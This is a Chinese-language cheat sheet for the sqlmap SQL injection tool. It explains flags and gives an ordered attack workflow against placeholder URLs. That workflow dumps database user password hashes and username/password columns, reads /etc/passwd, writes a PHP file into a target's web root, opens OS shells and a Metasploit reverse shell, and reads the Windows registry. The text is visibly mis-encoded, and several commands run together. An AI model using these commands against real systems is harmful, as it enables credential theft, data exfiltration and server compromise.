sqlmap是一個(gè)自動(dòng)化的SQL注入工具,其主要功能是掃描,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞,目前支持的數(shù)據(jù)庫是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五種獨(dú)特的SQL注入技術(shù),分別是:
1)基于布爾的盲注,即可以根據(jù)返回頁面判斷條件真假的注入。
2)基于時(shí)間的盲注,即不能根據(jù)頁面返回內(nèi)容判斷任何信息,用條件語句查看時(shí)間延遲語句是否執(zhí)行(即頁面返回時(shí)間是否增加)來判斷。
3)基于報(bào)錯(cuò)注入,即頁面會(huì)返回錯(cuò)誤信息,或者把注入的語句的結(jié)果直接返回在頁面中。
4)聯(lián)合查詢注入,可以使用union的情況下的注入。
5)堆查詢注入,可以同時(shí)執(zhí)行多條語句的執(zhí)行時(shí)的注入。
參數(shù)
-u #注入點(diǎn)
--sql-shell 返回sql shell
-f #指紋判別數(shù)據(jù)庫類型
-b #獲取數(shù)據(jù)庫版本信息
-p #指定可測(cè)試的參數(shù)(?page=1&id=2 -p 'page,id')
-D '' #指定數(shù)據(jù)庫名
-T '' #指定表名
-C '' #指定字段
-s '' #保存注入過程到一個(gè)文件,還可中斷,下次恢復(fù)在注入(保存:-s 'xx.log' 恢復(fù):-s 'xx.log' --resume)
--level=(1-5) #要執(zhí)行的測(cè)試水平等級(jí),默認(rèn)為1
--risk=(0-3) #測(cè)試執(zhí)行的風(fēng)險(xiǎn)等級(jí),默認(rèn)為1
--time-sec=(2,5) #延遲響應(yīng),默認(rèn)為5
--data #通過POST發(fā)送數(shù)據(jù)
--columns #列出字段
--current-user #獲取當(dāng)前用戶名稱
--current-db #獲取當(dāng)前數(shù)據(jù)庫名稱
-users #列數(shù)據(jù)庫所有用戶
--passwords #數(shù)據(jù)庫用戶所有密碼
--privileges #查看用戶權(quán)限(--privileges -U root)
-U #指定數(shù)據(jù)庫用戶
–prefix=PREFIX 注入payload 字符串前綴
–suffix=SUFFIX 注入 payload 字符串后綴--dbs #列出所有數(shù)據(jù)庫
--tables -D '' #列出指定數(shù)據(jù)庫中的表
--columns -T 'user' -D 'mysql' #列出mysql數(shù)據(jù)庫中的user表的所有字段
--dump-all #列出所有數(shù)據(jù)庫所有表
--exclude-sysdbs #只列出用戶自己新建的數(shù)據(jù)庫和表
--dump -T '' -D '' -C '' #列出指定數(shù)據(jù)庫的表的字段的數(shù)據(jù)(--dump -T users -D master -C surname)
--dump -T '' -D '' --start 2 --top 4 # 列出指定數(shù)據(jù)庫的表的2-4字段的數(shù)據(jù)
--dbms #指定數(shù)據(jù)庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系統(tǒng)(Linux,Windows)
-v #詳細(xì)的等級(jí)(0-6)
0:只顯示Python的回溯,錯(cuò)誤和關(guān)鍵消息。
1:顯示信息和警告消息。
2:顯示調(diào)試消息。
3:有效載荷注入。
4:顯示HTTP請(qǐng)求。
5:顯示HTTP響應(yīng)頭。
6:顯示HTTP響應(yīng)頁面的內(nèi)容
--privileges #查看權(quán)限
--is-dba #是否是數(shù)據(jù)庫管理員
--roles #枚舉數(shù)據(jù)庫用戶角色
--udf-inject #導(dǎo)入用戶自定義函數(shù)(獲取系統(tǒng)權(quán)限)
--union-check #是否支持union 注入
--union-cols #union 查詢表記錄
--union-test #union 語句測(cè)試
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data '' #POST方式提交數(shù)據(jù)(--data 'page=1&id=2')
--cookie '用;號(hào)分開' #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer '' #使用referer欺騙(--referer 'http://www.baidu.com')
--user-agent '' #自定義user-agent
--proxy 'http://127.0.0.1:8118' #代理注入
--string='' #指定關(guān)鍵詞,字符串匹配.
--threads #采用多線程(--threads 3)
--sql-shell #執(zhí)行指定sql命令
--sql-query #執(zhí)行指定的sql語句(--sql-query 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' )
--file-read #讀取指定文件
--file-write #寫入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;將本地的test.txt文件寫入到目標(biāo)的1.txt)
--file-dest #要寫入的文件絕對(duì)路徑
--os-cmd=id #執(zhí)行系統(tǒng)命令
--os-shell #系統(tǒng)交互shell
--os-pwn #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit絕對(duì)路徑(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #讀取win系統(tǒng)注冊(cè)表
--priv-esc #
--time-sec= #延遲設(shè)置 默認(rèn)--time-sec=5 為5秒
-p 'user-agent' --user-agent 'sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)' #指定user-agent注入
--eta #盲注
常用語句
#列出當(dāng)前庫所有表
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --union-cols #union 查詢表記錄
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --cookie 'COOKIE_VALUE' #cookie注入python sqlmap/sqlmap.py -u 'http://url/news?id=1' --current-user #獲取當(dāng)前用戶名稱python sqlmap/sqlmap.py -u 'http://www.xxoo.com/news?id=1' --current-db #獲取當(dāng)前數(shù)據(jù)庫名稱
python sqlmap/sqlmap.py -u 'http://www.xxoo.com/news?id=1' --tables -D 'db_name' #列表名
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --columns -T 'tablename' users-D 'db_name' -v 0 #列字段
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dump -C 'column_name' -T 'table_name' -D 'db_name' -v 0 #獲取字段內(nèi)容python sqlmap/sqlmap.py -u 'http://url/news?id=1' --smart --level 3 --users # smart智能 level 執(zhí)行測(cè)試等級(jí)
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dbms 'Mysql' --users # dbms 指定數(shù)據(jù)庫類型
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --users #列數(shù)據(jù)庫用戶
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dbs#列數(shù)據(jù)庫
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --passwords #數(shù)據(jù)庫用戶密碼
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --passwords-U root -v 0 #列出指定用戶數(shù)據(jù)庫密碼
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dump -C 'password,user,id' -T 'tablename' -D 'db_name' --start 1 --stop 20 #列出指定字段,列出20條
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dump-all -v 0 #列出所有數(shù)據(jù)庫所有表
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --privileges #查看權(quán)限
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --privileges -U root #查看指定用戶權(quán)限
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --is-dba -v 1 #是否是數(shù)據(jù)庫管理員
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --roles #枚舉數(shù)據(jù)庫用戶角色
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --udf-inject #導(dǎo)入用戶自定義函數(shù)(獲取系統(tǒng)權(quán)限?。?br>python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dump-all --exclude-sysdbs -python sqlmap/sqlmap.py -u 'http://url/news?id=1' -b #獲取banner信息python sqlmap/sqlmap.py -u 'http://url/news?id=1' --data 'id=3' #post注入
python sqlmap/sqlmap.py -u 'http://url/news?id=1' -v 1 -f #指紋判別數(shù)據(jù)庫類型
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --proxy'http://127.0.0.1:8118' #代理注入
python sqlmap/sqlmap.py -u 'http://url/news?id=1'--string'STRING_ON_TRUE_PAGE' #指定關(guān)鍵詞
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --sql-shell #執(zhí)行指定sql命令
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --file /etc/passwd
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --os-cmd=whoami #執(zhí)行系統(tǒng)命令
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --os-shell #系統(tǒng)交互shell
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --os-pwn #反彈shell
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --reg-read #讀取win系統(tǒng)注冊(cè)表
python sqlmap/sqlmap.py -u 'http://url/news?id=1' --dbs-o 'sqlmap.log' #保存進(jìn)度注入流程
簡(jiǎn)單的注入流程
1.讀取數(shù)據(jù)庫版本,當(dāng)前用戶,當(dāng)前數(shù)據(jù)庫
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判斷當(dāng)前數(shù)據(jù)庫用戶權(quán)限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用戶名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用戶名 -v 1
3.讀取所有數(shù)據(jù)庫用戶或指定數(shù)據(jù)庫用戶的密碼
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.獲取所有數(shù)據(jù)庫
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.獲取指定數(shù)據(jù)庫中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.獲取指定數(shù)據(jù)庫名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.獲取指定數(shù)據(jù)庫名中指定表中指定字段的數(shù)據(jù)
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C 'username,password' -s 'sqlnmapdb.log' -v 2
8.file-read讀取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read '/etc/passwd' -v 2
9.file-write寫入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2
聯(lián)系客服